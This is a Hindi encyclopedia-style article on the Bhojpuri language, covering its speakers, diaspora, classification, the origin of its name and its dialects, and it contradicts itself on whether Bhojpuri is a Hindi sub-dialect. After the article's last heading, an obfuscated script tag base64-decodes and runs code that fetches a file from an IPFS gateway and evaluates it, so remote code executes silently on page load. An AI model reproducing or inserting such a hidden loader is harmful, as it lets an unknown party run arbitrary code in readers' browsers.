एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

भोजपुरी भाषा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

भोजपुरी भाषाई परिवार के स्तर पर एक आर्य भाषा है और मुख्य रूप से पश्चिम बिहार और पूर्वी उत्तर प्रदेश और उत्तरी झारखण्ड के क्षेत्र में बोली जाती है। भोजपुरी हिन्दी की एक उपभाषा या बोली है। भोजपुरी अपने शब्दावली के लिये मुख्यतः संस्कृत एवं हिन्दी पर निर्भर है कुछ शब्द इसने उर्दू से भी ग्रहण किये हैं। भोजपुरी जानने-समझने वालों का विस्तार विश्व के सभी महाद्वीपों पर है जिसका कारण ब्रिटिश राज के दौरान उत्तर भारत से अंग्रेज़ों द्वारा ले जाये गये मज़दूर हैं जिनके वंशज अब जहाँ उनके पूर्वज गये थे वहीं बस गये हैं। इनमे सूरिनाम, गुयाना, ट्रिनिदाद, फीजी और टोबैगो आदि देश प्रमुख है। भारत के जनगणना आँकडो़ के अनुसार भारत में लगभग 3.3 करोड़ लोग भोजपुरी बोलते हैं। पूरे विश्व में भोजपुरी जानने वालों की संख्या लगभग 5 करोड़ है।

संक्षिप्त परिचय

  • केन्द्रभोजपुर
  • बोलने वालों की संख्या— 3.5 करोड़ (बोलने वालों की संख्या की दृष्टि से हिंदी प्रदेश की बोलियों में सबसे अधिक बोली जाने वाली बोली)।
  • इस बोली का प्रसार भारत के बाहर सूरीनाम, फिजी, मॉरिशस, गयाना, त्रिनिडाड में है। इस दृष्टि से भोजपुरी अंतर्राष्ट्रीय महत्त्व की बोली है।
  • साहित्य— भोजपुरी में लिखित साहित्य नहीं के बराबर है। मूलतः भोजपुरी भाषी साहित्यकार मध्यकाल में ब्रजभाषा व अवधी में तथा आधुनिक काल में हिंदी में लेखन करते रहे हैं। लेकिन अब स्थिति में परिवर्तन आ रहा है।
  • रचनाकारभिखारी ठाकुर (उपनाम— 'भोजपुरी का शेक्सपीयर', 'भोजपुरी का भारतेन्दु')।
  • सिनेमासिनेमा जगत में भोजपुरी ही हिंदी की वह बोली है, जिसमें सबसे अधिक फ़िल्में बनती हैं।
  • नमूना— काहे दस–दस पनरह–पनरह हज़ार के भीड़ होला ई नाटक देखें ख़ातिर। मालूम होतआ कि एही नाटक में पबलिक के रस आवेला।

भौगोलिक वर्गीकरण

डॉ. ग्रियर्सन ने भारतीय भाषाओं को अंतरंग ओर बहिरंग इन दो श्रेणियों में विभक्त किया है जिसमें बहिरंग के अंतर्गत उन्होंने तीन प्रधान शाखाएँ स्वीकार की हैं -

  • उत्तर पश्चिमी शाखा
  • दक्षिणी शाखा और
  • पूर्वी शाखा।

इस अंतिम शाखा के अंतर्गत उड़िया, असमी, बांग्ला और बिहारी भाषाओं की गणना की जाती है। बिहारी भाषाओं में मैथिली, मगही और भोजपुरी - ये तीन बोलियाँ मानी जाती हैं। क्षेत्रविस्तार और भाषाभाषियों की संख्या के आधार पर भोजपुरी अपनी बहनों मैथिली और मगही में सबसे बड़ी है। भोजपुरी हिन्दी की एक उपभाषा या बोली नहीं है।

नामकरण

भोजपुरी भाषा का नामकरण बिहार राज्य के आरा (शाहाबाद) ज़िले में स्थित भोजपुर नामक गाँव के नाम पर हुआ है। पूर्ववर्ती आरा ज़िले के बक्सर सब-डिविजन (अब बक्सर अलग ज़िला है) में भोजपुर नाम का एक बड़ा परगना है जिसमें 'नवका भोजपुर' और 'पुरनका भोजपुर' दो गाँव हैं। मध्य काल में इस स्थान को मध्य प्रदेश के उज्जैन से आए भोजवंशी परमार राजाओं ने बसाया था। उन्होंने अपनी इस राजधानी को अपने पूर्वज राजा भोज के नाम पर भोजपुर रखा था। इसी कारण इसके पास बोली जाने वाली भाषा का नाम भोजपुरी पड़ गया।

इतिहास

भोजपुरी भाषा का इतिहास 7 वीं सदी से शुरू होता है - 1000 से अधिक साल पुरानी! गुरु गोरख नाथ ने 1100 वर्ष में गोरख बानी लिखी थी। संत कबीर दास (1297) का जन्म भोजपुरी दिवस के रूप में भारत में स्वीकार किया गया है और विश्व भोजपुरी दिवस के रूप में मनाया जाता है।

भोजपुरी भाषा की प्रधान बोलियाँ

  • आदर्श भोजपुरी,
  • पश्चिमी भोजपुरी और
  • अन्य दो उपबोलियाँ (सब डाइलेक्ट्स) 'मघेसी' तथा 'थारु' के नाम से प्रसिद्ध हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>